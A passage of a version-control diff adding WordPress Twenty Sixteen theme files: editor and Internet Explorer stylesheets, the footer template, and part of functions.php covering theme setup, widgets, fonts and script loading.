+/**
+ * 2.0 - Typography
+ */
+
+h1,
+h2,
+h3,
+h4,
+h5,
+h6 {
+	clear: both;
+	font-weight: 900;
+	margin: 56px 0 28px;
+}
+
+h1 {
+	font-size: 33px;
+	line-height: 1.2727272727;
+}
+
+h2 {
+	font-size: 28px;
+	line-height: 1.25;
+}
+
+h3 {
+	font-size: 23px;
+	line-height: 1.2173913043;
+}
+
+h4,
+h5,
+h6 {
+	font-size: 19px;
+	line-height: 1.1052631579;
+}
+
+h4 {
+	letter-spacing: 0.13333em;
+	text-transform: uppercase;
+}
+
+h6 {
+	font-style: italic;
+}
+
+h1:first-child,
+h2:first-child,
+h3:first-child,
+h4:first-child,
+h5:first-child,
+h6:first-child {
+	margin-top: 0;
+}
+
+p {
+	margin: 0 0 28px;
+}
+
+b,
+strong {
+	font-weight: 700;
+}
+
+dfn,
+cite,
+em,
+i {
+	font-style: italic;
+}
+
+blockquote {
+	border-left: 4px solid #1a1a1a;
+	color: #686868;
+	font-size: 19px;
+	font-style: italic;
+	line-height: 1.4736842105;
+	margin-bottom: 28px;
+	overflow: hidden;
+	padding: 0 0 0 24px;
+}
+
+blockquote:not(.alignleft):not(.alignright) {
+	margin-left: -28px;
+}
+
+blockquote blockquote:not(.alignleft):not(.alignright) {
+	margin-left: 0;
+}
+
+blockquote:before,
+blockquote:after {
+	content: "";
+	display: table;
+}
+
+blockquote:after {
+	clear: both;
+}
+
+blockquote > :last-child {
+	margin-bottom: 0;
+}
+
+blockquote cite,
+blockquote small {
+	color: #1a1a1a;
+	font-size: 16px;
+	line-height: 1.75;
+}
+
+blockquote em,
+blockquote i,
+blockquote cite {
+	font-style: normal;
+}
+
+blockquote strong,
+blockquote b {
+	font-weight: 400;
+}
+
+blockquote.alignleft,
+blockquote.alignright {
+	border: 0 solid #1a1a1a;
+	border-top-width: 4px;
+	padding: 18px 0 0;
+	width: -webkit-calc(50% - 14px);
+	width: calc(50% - 14px);
+}
+
+address {
+	font-style: italic;
+	margin: 0 0 28px;
+}
+
+code,
+kbd,
+tt,
+var,
+samp,
+pre {
+	font-family: Inconsolata, monospace;
+}
+
+pre {
+	border: 1px solid #d1d1d1;
+	font-size: 16px;
+	line-height: 1.3125;
+	margin: 0 0 28px;
+	max-width: 100%;
+	overflow: auto;
+	padding: 14px;
+	white-space: pre;
+	white-space: pre-wrap;
+	word-wrap: break-word;
+}
+
+code {
+	background-color: #d1d1d1;
+	padding: 2px 4px;
+}
+
+abbr[title] {
+	border-bottom: 1px dotted #d1d1d1;
+	cursor: help;
+}
+
+mark,
+ins {
+	background: #007acc;
+	color: #fff;
+	padding: 2px 4px;
+	text-decoration: none;
+}
+
+sup,
+sub {
+	font-size: 75%;
+	height: 0;
+	line-height: 0;
+	position: relative;
+	vertical-align: baseline;
+}
+
+sup {
+	top: -6px;
+}
+
+sub {
+	bottom: -3px;
+}
+
+small {
+	font-size: 80%;
+}
+
+big {
+	font-size: 125%;
+}
+
+
+/**
+ * 3.0 - Elements
+ */
+
+hr {
+	background-color: #d1d1d1;
+	border: 0;
+	height: 1px;
+	margin-bottom: 28px;
+}
+
+ul,
+ol {
+	margin: 0 0 28px 0;
+	padding: 0;
+}
+
+ul {
+	list-style: disc;
+}
+
+ol {
+	list-style: decimal;
+}
+
+li > ul,
+li > ol {
+	margin-bottom: 0;
+}
+
+li > ul,
+blockquote > ul {
+	margin-left: 20px;
+}
+
+li > ol,
+blockquote > ol {
+	margin-left: 24px;
+}
+
+dl {
+	margin: 0 0 28px;
+}
+
+dt {
+	font-weight: bold;
+}
+
+dd {
+	margin: 0 0 28px;
+}
+
+table,
+th,
+td,
+.mce-item-table,
+.mce-item-table th,
+.mce-item-table td {
+	border: 1px solid #d1d1d1;
+}
+
+table a {
+	color: #007acc;
+}
+
+table,
+.mce-item-table {
+	border-collapse: separate;
+	border-spacing: 0;
+	border-width: 1px 0 0 1px;
+	margin: 0 0 28px;
+	width: 100%;
+}
+
+table th,
+.mce-item-table th,
+table caption {
+	border-width: 0 1px 1px 0;
+	font-size: 16px;
+	font-weight: 700;
+	padding: 7px;
+	text-align: left;
+	vertical-align: baseline;
+}
+
+table td,
+.mce-item-table td {
+	border-width: 0 1px 1px 0;
+	font-size: 16px;
+	padding: 7px;
+	vertical-align: baseline;
+}
+
+img {
+	border: 0;
+	height: auto;
+	max-width: 100%;
+	vertical-align: middle;
+}
+
+a img {
+	display: block;
+}
+
+figure {
+	margin: 0;
+}
+
+del {
+	opacity: 0.8;
+}
+
+a {
+	box-shadow: 0 1px 0 0 currentColor;
+	color: #007acc;
+	text-decoration: none;
+}
+
+fieldset {
+	border: 1px solid #d1d1d1;
+	margin: 0 0 28px;
+	padding: 14px;
+}
+
+
+/**
+ * 4.0 - Alignment
+ */
+
+.alignleft {
+	float: left;
+	margin: 6px 28px 28px 0;
+}
+
+.alignright {
+	float: right;
+	margin: 6px 0 28px 28px;
+}
+
+.aligncenter {
+	clear: both;
+	display: block;
+	margin: 0 auto 28px;
+}
+
+
+/**
+ * 5.0 - Caption
+ */
+
+.wp-caption {
+	background: transparent;
+	border: none;
+	margin-bottom: 28px;
+	max-width: 100%;
+	padding: 0;
+	text-align: inherit;
+}
+
+.wp-caption-text,
+.wp-caption-dd {
+	color: #686868;
+	font-size: 13px;
+	font-style: italic;
+	line-height: 1.6153846154;
+	padding-top: 7px;
+}
+
+
+/**
+ * 6.0 - Galleries
+ */
+
+.mce-content-body .wpview-wrap {
+	margin-bottom: 28px;
+}
+
+.gallery {
+	margin: 0 -1.1666667%;
+	padding: 0;
+}
+
+.gallery .gallery-item {
+	display: inline-block;
+	max-width: 33.33%;
+	padding: 0 1.1400652% 2.2801304%;
+	text-align: center;
+	vertical-align: top;
+	width: 100%;
+}
+
+.gallery-columns-1 .gallery-item {
+	max-width: 100%;
+}
+
+.gallery-columns-2 .gallery-item {
+	max-width: 50%;
+}
+
+.gallery-columns-4 .gallery-item {
+	max-width: 25%;
+}
+
+.gallery-columns-5 .gallery-item {
+	max-width: 20%;
+}
+
+.gallery-columns-6 .gallery-item {
+	max-width: 16.66%;
+}
+
+.gallery-columns-7 .gallery-item {
+	max-width: 14.28%;
+}
+
+.gallery-columns-8 .gallery-item {
+	max-width: 12.5%;
+}
+
+.gallery-columns-9 .gallery-item {
+	max-width: 11.11%;
+}
+
+.gallery .gallery-caption {
+	font-size: 13px;
+	margin: 0;
+}
+
+.gallery-columns-6 .gallery-caption,
+.gallery-columns-7 .gallery-caption,
+.gallery-columns-8 .gallery-caption,
+.gallery-columns-9 .gallery-caption {
+	display: none;
+}
+
+
+/**
+ * 7.0 - Audio / Video
+ */
+
+.wp-audio-shortcode a,
+.wp-playlist a {
+	box-shadow: none;
+}
+
+.mce-content-body .wp-audio-playlist {
+	margin: 0;
+	padding-bottom: 0;
+}
+
+.mce-content-body .wp-playlist-tracks {
+	margin-top: 0;
+}
+
+.mce-content-body  .wp-playlist-item {
+	padding: 10px 0;
+}
+
+.mce-content-body .wp-playlist-item-length {
+	top: 10px;
+}
+
+
+/**
+ * 8.0 - RTL
+ */
+
+.rtl blockquote {
+	border: 0 solid #1a1a1a;
+	border-right-width: 4px;
+}
+
+.rtl blockquote.alignleft,
+.rtl blockquote.alignright {
+	border: 0 solid #1a1a1a;
+	border-top-width: 4px;
+}
+
+.rtl blockquote:not(.alignleft):not(.alignright) {
+	margin-right: -28px;
+	padding: 0 24px 0 0;
+}
+
+.rtl blockquote blockquote:not(.alignleft):not(.alignright) {
+	margin-right: 0;
+	margin-left: auto;
+}
+
+.rtl li > ul,
+.rtl blockquote > ul {
+	margin-right: 20px;
+	margin-left: auto;
+}
+
+.rtl li > ol,
+.rtl blockquote > ol {
+	margin-right: 24px;
+	margin-left: auto;
+}
+
+.rtl table th,
+.rtl .mce-item-table th,
+.rtl table caption {
+	text-align: right;
+}
Index: /tags/5.0.20/src/wp-content/themes/twentysixteen/css/ie.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentysixteen/css/ie.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentysixteen/css/ie.css	(revision 56912)
@@ -0,0 +1,48 @@
+/*
+Theme Name: Twenty Sixteen
+Description: Global Styles for older IE versions (previous to IE10).
+*/
+
+.site-header-main:before,
+.site-header-main:after,
+.site-footer:before,
+.site-footer:after {
+	content: "";
+	display: table;
+}
+
+.site-header-main:after,
+.site-footer:after {
+	clear: both;
+}
+
+@media screen and (min-width: 56.875em) {
+	.site-branding,
+	.site-info {
+		float: left;
+	}
+
+	.site-header-menu,
+	.site-footer .social-navigation {
+		float: right;
+	}
+
+	.site-footer .social-navigation {
+		margin-left: 7px;
+	}
+
+	.rtl .site-branding,
+	.rtl .site-info {
+		float: right;
+	}
+
+	.rtl .site-header-menu,
+	.rtl .site-footer .social-navigation {
+		float: left;
+	}
+
+	.rtl .site-footer .social-navigation {
+		margin-right: 7px;
+		margin-left: 0;
+	}
+}
Index: /tags/5.0.20/src/wp-content/themes/twentysixteen/css/ie7.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentysixteen/css/ie7.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentysixteen/css/ie7.css	(revision 56912)
@@ -0,0 +1,176 @@
+/*
+Theme Name: Twenty Sixteen
+Description: IE7 specific style.
+*/
+
+.site-inner {
+	max-width: 656px;
+}
+
+.post-navigation,
+.pagination,
+.image-navigation,
+.entry-header,
+.entry-summary,
+.entry-content,
+.entry-footer,
+.page-header,
+.page-content,
+.post-thumbnail,
+.content-bottom-widgets,
+.comments-area {
+	margin-right: 28px;
+	margin-left: 28px;
+	max-width: 100%;
+}
+
+.site-header,
+.sidebar,
+.site-footer,
+.widecolumn {
+	padding-right: 28px;
+	padding-left: 28px;
+}
+
+.search-submit {
+	height: auto;
+	margin-top: 28px;
+	padding: 15px 0 8px;
+	position: relative;
+	width: auto;
+}
+
+.search-submit .screen-reader-text {
+	height: auto;
+	position: relative !important;
+	width: auto;
+}
+
+.image-navigation .nav-previous,
+.image-navigation .nav-next,
+.comment-navigation .nav-previous,
+.comment-navigation .nav-next {
+	*display: inline;
+	zoom: 1;
+}
+
+.image-navigation .nav-previous + .nav-next,
+.comment-navigation .nav-previous + .nav-next {
+	margin-left: 14px;
+}
+
+.pagination .nav-links {
+	padding: 0;
+}
+
+.pagination .page-numbers {
+	line-height: 1;
+	margin: -4px 14px 0;
+	padding: 18px 0;
+}
+
+.pagination .prev,
+.pagination .next {
+	display: inline-block;
+	font-size: 16px;
+	font-weight: 700;
+	height: auto;
+	left: 0;
+	line-height: 1;
+	margin: 0;
+	padding: 18px 14px;
+	position: relative;
+	right: 0;
+	text-transform: none;
+	width: auto;
+}
+
+.dropdown-toggle {
+	display: none;
+}
+
+.main-navigation ul ul {
+	display: block;
+}
+
+.social-navigation {
+	margin-top: 1.75em;
+}
+
+.social-navigation a {
+	height: auto;
+	padding: 3px 7px;
+	width: auto;
+}
+
+.social-navigation .screen-reader-text {
+	height: auto;
+	position: relative !important;
+	width: auto;
+}
+
+.site-header-main {
+	overflow : hidden;
+	zoom : 1;
+}
+
+.entry-footer > span {
+	margin-right: 14px;
+}
+
+.site-info .site-title {
+	font-size: 13px;
+	margin-right: 14px;
+}
+
+.gallery-item {
+	max-width: 30%;
+}
+
+.gallery-columns-1 .gallery-item {
+	max-width: 100%;
+}
+
+.gallery-columns-2 .gallery-item {
+	max-width: 46%;
+}
+
+.gallery-columns-4 .gallery-item {
+	max-width: 22%;
+}
+
+.gallery-columns-5 .gallery-item {
+	max-width: 17%;
+}
+
+.gallery-columns-6 .gallery-item {
+	max-width: 13.5%;
+}
+
+.gallery-columns-7 .gallery-item {
+	max-width: 11%;
+}
+
+.gallery-columns-8 .gallery-item {
+	max-width: 9.5%;
+}
+
+.gallery-columns-9 .gallery-item {
+	max-width: 8%;
+}
+
+.rtl .image-navigation .nav-previous + .nav-next,
+.rtl .comment-navigation .nav-previous + .nav-next {
+	margin-right: 14px;
+	margin-left: 0;
+}
+
+.rtl .entry-footer > span {
+	margin-right: 14px;
+	margin-left: 0;
+}
+
+.rtl .site-info .site-title {
+	margin-right: 0;
+	margin-left: 14px;
+}
Index: /tags/5.0.20/src/wp-content/themes/twentysixteen/css/ie8.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentysixteen/css/ie8.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentysixteen/css/ie8.css	(revision 56912)
@@ -0,0 +1,222 @@
+/*
+Theme Name: Twenty Sixteen
+Description: IE8 specific style.
+*/
+
+code {
+	background-color: transparent;
+	padding: 0;
+}
+
+.entry-content a,
+.entry-summary a,
+.taxonomy-description a,
+.logged-in-as a,
+.comment-content a,
+.pingback .comment-body > a,
+.textwidget a,
+.entry-footer a:hover,
+.site-info a:hover {
+	text-decoration: underline;
+}
+
+.entry-content a:hover,
+.entry-content a:focus,
+.entry-summary a:hover,
+.entry-summary a:focus,
+.taxonomy-description a:hover,
+.taxonomy-description a:focus,
+.logged-in-as a:hover,
+.logged-in-as a:focus,
+.comment-content a:hover,
+.comment-content a:focus,
+.pingback .comment-body > a:hover,
+.pingback .comment-body > a:focus,
+.textwidget a:hover,
+.textwidget a:focus,
+.entry-content .wp-audio-shortcode a,
+.entry-content .wp-playlist a,
+.page-links a {
+	text-decoration: none;
+}
+
+.site {
+	margin: 21px;
+}
+
+.site-inner {
+	max-width: 710px;
+}
+
+.site-header {
+	padding-top: 3.9375em;
+	padding-bottom: 3.9375em;
+}
+
+.site-branding {
+	float: left;
+	margin-top: 1.3125em;
+	margin-bottom: 1.3125em;
+}
+
+.site-title {
+	font-size: 28px;
+	line-height: 1.25;
+}
+
+.site-description {
+	display: block;
+}
+
+.menu-toggle {
+	float: right;
+	font-size: 16px;
+	margin: 1.3125em 0;
+	padding: 0.8125em 0.875em 0.6875em;
+}
+
+.site-header-menu {
+	clear: both;
+	margin: 0;
+	padding: 1.3125em 0;
+}
+
+.site-header .main-navigation + .social-navigation {
+	margin-top: 2.625em;
+}
+
+.header-image {
+	margin: 1.3125em 0;
+}
+
+.site-main {
+	margin-bottom: 5.25em;
+}
+
+.post-navigation {
+	margin-bottom: 5.25em;
+}
+
+.post-navigation .post-title {
+	font-size: 28px;
+	line-height: 1.25;
+}
+
+.pagination {
+	margin: 0 7.6923% 4.421052632em;
+}
+
+.pagination .nav-links:before,
+.pagination .nav-links:after {
+	display: none;
+}
+
+/* restore screen-reader-text */
+.pagination .current .screen-reader-text {
+	position: absolute !important;
+}
+
+.pagination .page-numbers {
+	display: inline-block;
+	font-weight: 400;
+}
+
+.image-navigation .nav-previous,
+.image-navigation .nav-next,
+.comment-navigation .nav-previous,
+.comment-navigation .nav-next {
+	display: inline-block;
+}
+
+.image-navigation .nav-previous + .nav-next:before,
+.comment-navigation .nav-previous + .nav-next:before {
+	content: "\002f";
+	display: inline-block;
+	filter: alpha(opacity=70);
+	padding: 0 0.538461538em;
+}
+
+.site-main > article {
+	margin-bottom: 5.25em;
+}
+
+.entry-title {
+	font-size: 33px;
+	line-height: 1.2727272727;
+	margin-bottom: 0.8484848485em;
+}
+
+.entry-content blockquote.alignleft,
+.entry-content blockquote.alignright {
+	border-width: 4px 0 0 0;
+	padding: 0.9473684211em 0 0;
+	width: 50%;
+}
+
+.entry-footer > span:after {
+	content: "\002f";
+	display: inline-block;
+	filter: alpha(opacity=70);
+	padding: 0 0.538461538em;
+}
+
+.updated {
+	display: none;
+}
+
+.updated.published {
+	display: inline;
+}
+
+.comment-author {
+	margin-bottom: 0;
+}
+
+.comment-author .avatar {
+	height: 42px;
+	position: relative;
+	top: 0.25em;
+	width: 42px;
+}
+
+.comment-list .children > li {
+	padding-left: 1.75em;
+}
+
+.comment-list + .comment-respond,
+.comment-navigation + .comment-respond {
+	padding-top: 3.5em;
+}
+
+.comment-reply-link {
+	margin-top: 0;
+}
+
+.comments-area,
+.widget,
+.content-bottom-widgets .widget-area {
+	margin-bottom: 5.25em;
+}
+
+.sidebar,
+.widecolumn {
+	margin-bottom: 5.25em;
+}
+
+.site-footer .main-navigation,
+.site-footer .social-navigation {
+	display: none;
+}
+
+.rtl .site-branding {
+	float: right;
+}
+
+.rtl .menu-toggle {
+	float: left;
+}
+
+.rtl .comment-list .children > li {
+	padding-right: 1.75em;
+	padding-left: 0;
+}
Index: /tags/5.0.20/src/wp-content/themes/twentysixteen/footer.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentysixteen/footer.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentysixteen/footer.php	(revision 56912)
@@ -0,0 +1,66 @@
+<?php
+/**
+ * The template for displaying the footer
+ *
+ * Contains the closing of the #content div and all content after
+ *
+ * @package WordPress
+ * @subpackage Twenty_Sixteen
+ * @since Twenty Sixteen 1.0
+ */
+?>
+
+		</div><!-- .site-content -->
+
+		<footer id="colophon" class="site-footer" role="contentinfo">
+			<?php if ( has_nav_menu( 'primary' ) ) : ?>
+				<nav class="main-navigation" role="navigation" aria-label="<?php esc_attr_e( 'Footer Primary Menu', 'twentysixteen' ); ?>">
+					<?php
+						wp_nav_menu( array(
+							'theme_location' => 'primary',
+							'menu_class'     => 'primary-menu',
+						 ) );
+					?>
+				</nav><!-- .main-navigation -->
+			<?php endif; ?>
+
+			<?php if ( has_nav_menu( 'social' ) ) : ?>
+				<nav class="social-navigation" role="navigation" aria-label="<?php esc_attr_e( 'Footer Social Links Menu', 'twentysixteen' ); ?>">
+					<?php
+						wp_nav_menu( array(
+							'theme_location' => 'social',
+							'menu_class'     => 'social-links-menu',
+							'depth'          => 1,
+							'link_before'    => '<span class="screen-reader-text">',
+							'link_after'     => '</span>',
+						) );
+					?>
+				</nav><!-- .social-navigation -->
+			<?php endif; ?>
+
+			<div class="site-info">
+				<?php
+					/**
+					 * Fires before the twentysixteen footer text for footer customization.
+					 *
+					 * @since Twenty Sixteen 1.0
+					 */
+					do_action( 'twentysixteen_credits' );
+				?>
+				<span class="site-title"><a href="<?php echo esc_url( home_url( '/' ) ); ?>" rel="home"><?php bloginfo( 'name' ); ?></a></span>
+				<?php
+				if ( function_exists( 'the_privacy_policy_link' ) ) {
+					the_privacy_policy_link( '', '<span role="separator" aria-hidden="true"></span>' );
+				}
+				?>
+				<a href="<?php echo esc_url( __( 'https://wordpress.org/', 'twentysixteen' ) ); ?>" class="imprint">
+					<?php printf( __( 'Proudly powered by %s', 'twentysixteen' ), 'WordPress' ); ?>
+				</a>
+			</div><!-- .site-info -->
+		</footer><!-- .site-footer -->
+	</div><!-- .site-inner -->
+</div><!-- .site -->
+
+<?php wp_footer(); ?>
+</body>
+</html>
Index: /tags/5.0.20/src/wp-content/themes/twentysixteen/functions.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentysixteen/functions.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentysixteen/functions.php	(revision 56912)
@@ -0,0 +1,523 @@
+<?php
+/**
+ * Twenty Sixteen functions and definitions
+ *
+ * Set up the theme and provides some helper functions, which are used in the
+ * theme as custom template tags. Others are attached to action and filter
+ * hooks in WordPress to change core functionality.
+ *
+ * When using a child theme you can override certain functions (those wrapped
+ * in a function_exists() call) by defining them first in your child theme's
+ * functions.php file. The child theme's functions.php file is included before
+ * the parent theme's file, so the child theme functions would be used.
+ *
+ * @link https://codex.wordpress.org/Theme_Development
+ * @link https://codex.wordpress.org/Child_Themes
+ *
+ * Functions that are not pluggable (not wrapped in function_exists()) are
+ * instead attached to a filter or action hook.
+ *
+ * For more information on hooks, actions, and filters,
+ * {@link https://codex.wordpress.org/Plugin_API}
+ *
+ * @package WordPress
+ * @subpackage Twenty_Sixteen
+ * @since Twenty Sixteen 1.0
+ */
+
+/**
+ * Twenty Sixteen only works in WordPress 4.4 or later.
+ */
+if ( version_compare( $GLOBALS['wp_version'], '4.4-alpha', '<' ) ) {
+	require get_template_directory() . '/inc/back-compat.php';
+}
+
+if ( ! function_exists( 'twentysixteen_setup' ) ) :
+/**
+ * Sets up theme defaults and registers support for various WordPress features.
+ *
+ * Note that this function is hooked into the after_setup_theme hook, which
+ * runs before the init hook. The init hook is too late for some features, such
+ * as indicating support for post thumbnails.
+ *
+ * Create your own twentysixteen_setup() function to override in a child theme.
+ *
+ * @since Twenty Sixteen 1.0
+ */
+function twentysixteen_setup() {
+	/*
+	 * Make theme available for translation.
+	 * Translations can be filed at WordPress.org. See: https://translate.wordpress.org/projects/wp-themes/twentysixteen
+	 * If you're building a theme based on Twenty Sixteen, use a find and replace
+	 * to change 'twentysixteen' to the name of your theme in all the template files
+	 */
+	load_theme_textdomain( 'twentysixteen' );
+
+	// Add default posts and comments RSS feed links to head.
+	add_theme_support( 'automatic-feed-links' );
+
+	/*
+	 * Let WordPress manage the document title.
+	 * By adding theme support, we declare that this theme does not use a
+	 * hard-coded <title> tag in the document head, and expect WordPress to
+	 * provide it for us.
+	 */
+	add_theme_support( 'title-tag' );
+
+	/*
+	 * Enable support for custom logo.
+	 *
+	 *  @since Twenty Sixteen 1.2
+	 */
+	add_theme_support( 'custom-logo', array(
+		'height'      => 240,
+		'width'       => 240,
+		'flex-height' => true,
+	) );
+
+	/*
+	 * Enable support for Post Thumbnails on posts and pages.
+	 *
+	 * @link https://codex.wordpress.org/Function_Reference/add_theme_support#Post_Thumbnails
+	 */
+	add_theme_support( 'post-thumbnails' );
+	set_post_thumbnail_size( 1200, 9999 );
+
+	// This theme uses wp_nav_menu() in two locations.
+	register_nav_menus( array(
+		'primary' => __( 'Primary Menu', 'twentysixteen' ),
+		'social'  => __( 'Social Links Menu', 'twentysixteen' ),
+	) );
+
+	/*
+	 * Switch default core markup for search form, comment form, and comments
+	 * to output valid HTML5.
+	 */
+	add_theme_support( 'html5', array(
+		'search-form',
+		'comment-form',
+		'comment-list',
+		'gallery',
+		'caption',
+	) );
+
+	/*
+	 * Enable support for Post Formats.
+	 *
+	 * See: https://codex.wordpress.org/Post_Formats
+	 */
+	add_theme_support( 'post-formats', array(
+		'aside',
+		'image',
+		'video',
+		'quote',
+		'link',
+		'gallery',
+		'status',
+		'audio',
+		'chat',
+	) );
+
+	/*
+	 * This theme styles the visual editor to resemble the theme style,
+	 * specifically font, colors, icons, and column width.
+	 */
+	add_editor_style( array( 'css/editor-style.css', twentysixteen_fonts_url() ) );
+
+	// Load regular editor styles into the new block-based editor.
+	add_theme_support( 'editor-styles' );
+
+	// Load default block styles.
+	add_theme_support( 'wp-block-styles' );
+
+	// Add support for responsive embeds.
+	add_theme_support( 'responsive-embeds' );
+
+	// Add support for custom color scheme.
+	add_theme_support( 'editor-color-palette', array(
+		array(
+			'name'  => __( 'Dark Gray', 'twentysixteen' ),
+			'slug'  => 'dark-gray',
+			'color' => '#1a1a1a',
+		),
+		array(
+			'name'  => __( 'Medium Gray', 'twentysixteen' ),
+			'slug'  => 'medium-gray',
+			'color' => '#686868',
+		),
+		array(
+			'name'  => __( 'Light Gray', 'twentysixteen' ),
+			'slug'  => 'light-gray',
+			'color' => '#e5e5e5',
+		),
+		array(
+			'name'  => __( 'White', 'twentysixteen' ),
+			'slug'  => 'white',
+			'color' => '#fff',
+		),
+		array(
+			'name'  => __( 'Blue Gray', 'twentysixteen' ),
+			'slug'  => 'blue-gray',
+			'color' => '#4d545c',
+		),
+		array(
+			'name'  => __( 'Bright Blue', 'twentysixteen' ),
+			'slug'  => 'bright-blue',
+			'color' => '#007acc',
+		),
+		array(
+			'name'  => __( 'Light Blue', 'twentysixteen' ),
+			'slug'  => 'light-blue',
+			'color' => '#9adffd',
+		),
+		array(
+			'name'  => __( 'Dark Brown', 'twentysixteen' ),
+			'slug'  => 'dark-brown',
+			'color' => '#402b30',
+		),
+		array(
+			'name'  => __( 'Medium Brown', 'twentysixteen' ),
+			'slug'  => 'medium-brown',
+			'color' => '#774e24',
+		),
+		array(
+			'name'  => __( 'Dark Red', 'twentysixteen' ),
+			'slug'  => 'dark-red',
+			'color' => '#640c1f',
+		),
+		array(
+			'name'  => __( 'Bright Red', 'twentysixteen' ),
+			'slug'  => 'bright-red',
+			'color' => '#ff675f',
+		),
+		array(
+			'name'  => __( 'Yellow', 'twentysixteen' ),
+			'slug'  => 'yellow',
+			'color' => '#ffef8e',
+		),
+	) );
+
+	// Indicate widget sidebars can use selective refresh in the Customizer.
+	add_theme_support( 'customize-selective-refresh-widgets' );
+}
+endif; // twentysixteen_setup
+add_action( 'after_setup_theme', 'twentysixteen_setup' );
+
+/**
+ * Sets the content width in pixels, based on the theme's design and stylesheet.
+ *
+ * Priority 0 to make it available to lower priority callbacks.
+ *
+ * @global int $content_width
+ *
+ * @since Twenty Sixteen 1.0
+ */
+function twentysixteen_content_width() {
+	$GLOBALS['content_width'] = apply_filters( 'twentysixteen_content_width', 840 );
+}
+add_action( 'after_setup_theme', 'twentysixteen_content_width', 0 );
+
+/**
+ * Registers a widget area.
+ *
+ * @link https://developer.wordpress.org/reference/functions/register_sidebar/
+ *
+ * @since Twenty Sixteen 1.0
+ */
+function twentysixteen_widgets_init() {
+	register_sidebar( array(
+		'name'          => __( 'Sidebar', 'twentysixteen' ),
+		'id'            => 'sidebar-1',
+		'description'   => __( 'Add widgets here to appear in your sidebar.', 'twentysixteen' ),
+		'before_widget' => '<section id="%1$s" class="widget %2$s">',
+		'after_widget'  => '</section>',
+		'before_title'  => '<h2 class="widget-title">',
+		'after_title'   => '</h2>',
+	) );
+
+	register_sidebar( array(
+		'name'          => __( 'Content Bottom 1', 'twentysixteen' ),
+		'id'            => 'sidebar-2',
+		'description'   => __( 'Appears at the bottom of the content on posts and pages.', 'twentysixteen' ),
+		'before_widget' => '<section id="%1$s" class="widget %2$s">',
+		'after_widget'  => '</section>',
+		'before_title'  => '<h2 class="widget-title">',
+		'after_title'   => '</h2>',
+	) );
+
+	register_sidebar( array(
+		'name'          => __( 'Content Bottom 2', 'twentysixteen' ),
+		'id'            => 'sidebar-3',
+		'description'   => __( 'Appears at the bottom of the content on posts and pages.', 'twentysixteen' ),
+		'before_widget' => '<section id="%1$s" class="widget %2$s">',
+		'after_widget'  => '</section>',
+		'before_title'  => '<h2 class="widget-title">',
+		'after_title'   => '</h2>',
+	) );
+}
+add_action( 'widgets_init', 'twentysixteen_widgets_init' );
+
+if ( ! function_exists( 'twentysixteen_fonts_url' ) ) :
+/**
+ * Register Google fonts for Twenty Sixteen.
+ *
+ * Create your own twentysixteen_fonts_url() function to override in a child theme.
+ *
+ * @since Twenty Sixteen 1.0
+ *
+ * @return string Google fonts URL for the theme.
+ */
+function twentysixteen_fonts_url() {
+	$fonts_url = '';
+	$fonts     = array();
+	$subsets   = 'latin,latin-ext';
+
+	/* translators: If there are characters in your language that are not supported by Merriweather, translate this to 'off'. Do not translate into your own language. */
+	if ( 'off' !== _x( 'on', 'Merriweather font: on or off', 'twentysixteen' ) ) {
+		$fonts[] = 'Merriweather:400,700,900,400italic,700italic,900italic';
+	}
+
+	/* translators: If there are characters in your language that are not supported by Montserrat, translate this to 'off'. Do not translate into your own language. */
+	if ( 'off' !== _x( 'on', 'Montserrat font: on or off', 'twentysixteen' ) ) {
+		$fonts[] = 'Montserrat:400,700';
+	}
+
+	/* translators: If there are characters in your language that are not supported by Inconsolata, translate this to 'off'. Do not translate into your own language. */
+	if ( 'off' !== _x( 'on', 'Inconsolata font: on or off', 'twentysixteen' ) ) {
+		$fonts[] = 'Inconsolata:400';
+	}
+
+	if ( $fonts ) {
+		$fonts_url = add_query_arg( array(
+			'family' => urlencode( implode( '|', $fonts ) ),
+			'subset' => urlencode( $subsets ),
+		), 'https://fonts.googleapis.com/css' );
+	}
+
+	return $fonts_url;
+}
+endif;
+
+/**
+ * Handles JavaScript detection.
+ *
+ * Adds a `js` class to the root `<html>` element when JavaScript is detected.
+ *
+ * @since Twenty Sixteen 1.0
+ */
+function twentysixteen_javascript_detection() {
+	echo "<script>(function(html){html.className = html.className.replace(/\bno-js\b/,'js')})(document.documentElement);</script>\n";
+}
+add_action( 'wp_head', 'twentysixteen_javascript_detection', 0 );
+
+/**
+ * Enqueues scripts and styles.
+ *
+ * @since Twenty Sixteen 1.0
+ */
+function twentysixteen_scripts() {
+	// Add custom fonts, used in the main stylesheet.
+	wp_enqueue_style( 'twentysixteen-fonts', twentysixteen_fonts_url(), array(), null );
+
+	// Add Genericons, used in the main stylesheet.
+	wp_enqueue_style( 'genericons', get_template_directory_uri() . '/genericons/genericons.css', array(), '3.4.1' );
+
+	// Theme stylesheet.
+	wp_enqueue_style( 'twentysixteen-style', get_stylesheet_uri() );
+
+	// Theme block stylesheet.
+	wp_enqueue_style( 'twentysixteen-block-style', get_template_directory_uri() . '/css/blocks.css', array( 'twentysixteen-style' ), '20181230' );
+
+	// Load the Internet Explorer specific stylesheet.
+	wp_enqueue_style( 'twentysixteen-ie', get_template_directory_uri() . '/css/ie.css', array( 'twentysixteen-style' ), '20160816' );
+	wp_style_add_data( 'twentysixteen-ie', 'conditional', 'lt IE 10' );
+
+	// Load the Internet Explorer 8 specific stylesheet.
+	wp_enqueue_style( 'twentysixteen-ie8', get_template_directory_uri() . '/css/ie8.css', array( 'twentysixteen-style' ), '20160816' );
+	wp_style_add_data( 'twentysixteen-ie8', 'conditional', 'lt IE 9' );
+
+	// Load the Internet Explorer 7 specific stylesheet.
+	wp_enqueue_style( 'twentysixteen-ie7', get_template_directory_uri() . '/css/ie7.css', array( 'twentysixteen-style' ), '20160816' );
+	wp_style_add_data( 'twentysixteen-ie7', 'conditional', 'lt IE 8' );
+
+	// Load the html5 shiv.
+	wp_enqueue_script( 'twentysixteen-html5', get_template_directory_uri() . '/js/html5.js', array(), '3.7.3' );
